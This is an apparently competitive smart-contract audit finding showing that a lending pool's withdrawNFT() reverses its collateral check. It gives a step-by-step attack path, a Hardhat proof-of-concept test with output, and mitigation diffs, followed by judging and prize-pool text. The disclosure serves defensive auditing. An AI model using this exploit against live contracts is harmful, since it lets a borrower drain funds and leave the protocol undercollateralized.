Submission Details
Severity:
withdrawNFT() allows borrower to withdraw more than allowed collateral
Description
withdrawNFT() allows borrower to withdraw more than allowed collateral and should rather be (See Mitigation section for a better fix):
File: contracts/core/pools/LendingPool/LendingPool.sol
288: function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
289: if (isUnderLiquidation[msg.sender]) revert CannotWithdrawUnderLiquidation();
290:
291: UserData storage user = userData[msg.sender];
292: if (!user.depositedNFTs[tokenId]) revert NFTNotDeposited();
293:
294: // update state
295: ReserveLibrary.updateReserveState(reserve, rateData);
296:
297: // Check if withdrawal would leave user undercollateralized
298: uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
299: uint256 collateralValue = getUserCollateralValue(msg.sender);
300: uint256 nftValue = getNFTPrice(tokenId);
301:
- 302: if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
+ 302: if ((collateralValue - nftValue).percentMul(liquidationThreshold) < userDebt) {
303: revert WithdrawalWouldLeaveUserUnderCollateralized();
304: }
305:
306: // Remove NFT from user's deposited NFTs
307: for (uint256 i = 0; i < user.nftTokenIds.length; i++) {
308: if (user.nftTokenIds[i] == tokenId) {
309: user.nftTokenIds[i] = user.nftTokenIds[user.nftTokenIds.length - 1];
310: user.nftTokenIds.pop();
311: break;
312: }
313: }
314: user.depositedNFTs[tokenId] = false;
315:
316: raacNFT.safeTransferFrom(address(this), msg.sender, tokenId);
317:
318: emit NFTWithdrawn(msg.sender, tokenId);
319: }
Attack Path:
Deposit NFT1 worth 100
Deposit NFT2 worth 100
Thus total collateral = 200
Borrow an amount of 124
Withdraw NFT1. Total collateral now = 100.
Protocol thinks due to faulty logic that
200 - 100 < 124 * 80%or100 < 99isfalseso things are okay and does not revert.Attacker now has
100 + 124 = 224. Their profit is24.
Impact
User can leave the protocol underwater and extract profit.
Proof of Concept
Modify this existing test and run to see it pass, even though it should have failed with error WithdrawalWouldLeaveUserUnderCollateralized:
it("should allow user to borrow crvUSD using NFT collateral", async function () {
+ const tokenId2 = 2;
+ const amountToPay2 = ethers.parseEther("100");
+ await raacHousePrices.setOracle(owner.address);
+ await raacHousePrices.setHousePrice(tokenId2, amountToPay2);
+ await token.mint(user1.address, amountToPay2);
+ await token.connect(user1).approve(raacNFT.target, amountToPay2);
+ await raacNFT.connect(user1).mint(tokenId2, amountToPay2);
+
+ await raacNFT.connect(user1).approve(lendingPool.target, tokenId2);
+ await lendingPool.connect(user1).depositNFT(tokenId2);
+
- const borrowAmount = ethers.parseEther("50");
+ const borrowAmount = ethers.parseEther("124");
await lendingPool.connect(user1).borrow(borrowAmount);
const crvUSDBalance = await crvusd.balanceOf(user1.address);
- expect(crvUSDBalance).to.equal(ethers.parseEther("1050"));
+ expect(crvUSDBalance).to.equal(ethers.parseEther("1124"));
const debtBalance = await debtToken.balanceOf(user1.address);
expect(debtBalance).to.gte(borrowAmount);
+
+ console.log("liquidationThreshold in bips =", await lendingPool.liquidationThreshold(), "\n");
+ console.log("debtBalance =", debtBalance);
+ console.log("collateralValue befor =", await lendingPool.getUserCollateralValue(user1.address));
+ await lendingPool.connect(user1).withdrawNFT(1); // @audit-issue : should have reverted, but does not!
+ console.log("collateralValue after =", await lendingPool.getUserCollateralValue(user1.address));
});
Output:
LendingPool
Borrow and Repay
liquidationThreshold in bips = 8000n
debtBalance = 124000000000000000000n <----- 1️⃣
collateralValue befor = 200000000000000000000n
collateralValue after = 100000000000000000000n ❌ <----- has become greater than 1️⃣
✔ should allow user to borrow crvUSD using NFT collateral (115ms)
1 passing (5s)
Mitigation
While the fix outlined in the Description section works, a better fix would be to also account for the health factor:
File: contracts/core/pools/LendingPool/LendingPool.sol
288: function withdrawNFT(uint256 tokenId) external nonReentrant whenNotPaused {
289: if (isUnderLiquidation[msg.sender]) revert CannotWithdrawUnderLiquidation();
290:
291: UserData storage user = userData[msg.sender];
292: if (!user.depositedNFTs[tokenId]) revert NFTNotDeposited();
293:
294: // update state
295: ReserveLibrary.updateReserveState(reserve, rateData);
296:
297: // Check if withdrawal would leave user undercollateralized
298: uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
299: uint256 collateralValue = getUserCollateralValue(msg.sender);
300: uint256 nftValue = getNFTPrice(tokenId);
301:
- 302: if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
+ 302: if (userDebt > 0 && (collateralValue - nftValue).percentMul(liquidationThreshold) * 1e18 / userDebt < healthFactorLiquidationThreshold) {
303: revert WithdrawalWouldLeaveUserUnderCollateralized();
304: }
305:
306: // Remove NFT from user's deposited NFTs
307: for (uint256 i = 0; i < user.nftTokenIds.length; i++) {
308: if (user.nftTokenIds[i] == tokenId) {
309: user.nftTokenIds[i] = user.nftTokenIds[user.nftTokenIds.length - 1];
310: user.nftTokenIds.pop();
311: break;
312: }
313: }
314: user.depositedNFTs[tokenId] = false;
315:
316: raacNFT.safeTransferFrom(address(this), msg.sender, tokenId);
317:
318: emit NFTWithdrawn(msg.sender, tokenId);
319: }
Updates
Lead Judging Commences
inallhonesty 4 months ago
Submission Judgement Published Assigned finding tags:
LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%
Prize pool breakdown
Total prize
77,280 USDC
nSLOC
3,86420 USDC / LOC
74,000
3,280
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.